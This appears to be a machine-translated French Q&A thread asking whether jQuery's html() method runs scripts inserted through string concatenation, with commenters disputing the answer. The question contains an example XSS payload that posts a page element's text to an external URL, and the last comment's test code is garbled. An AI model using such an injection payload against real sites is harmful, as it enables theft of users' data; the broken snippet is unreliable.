Possible en double:
html() vs innerHTML jquery/javascript & XSS attacksEst-ce que jQuery.html() est dangereux?
est jQuery.html() dangereux?
$("#id").html("<span>"+ variable + "</span>");
Comme dans l'exemple ci-dessus, si la variable aurait la valeur suivante:
"<script> $.post("external_url.php", {sesitivedata= $("#someElement").text()}, function() {}) </script>"
sera exécuté le script? Si oui est-il possible de permettre à la variable de contenir des balises html normales mais pas des scripts?
Edit: balise script Ajouté à la chaîne
Avez-vous essayé? Qu'est-il arrivé? – epascarello
'$ .html()' n'effectue pas 'eval'. Le 'eval' serait nécessaire pour déclencher l'exécution du script. – Ohgodwhy
@Ohgodwhy Vous avez tort. C'est trivialement facile à tester. Ouvrez votre console de développeur et exécutez '$ ('body div: last'). Html ($ (")); ' – meagar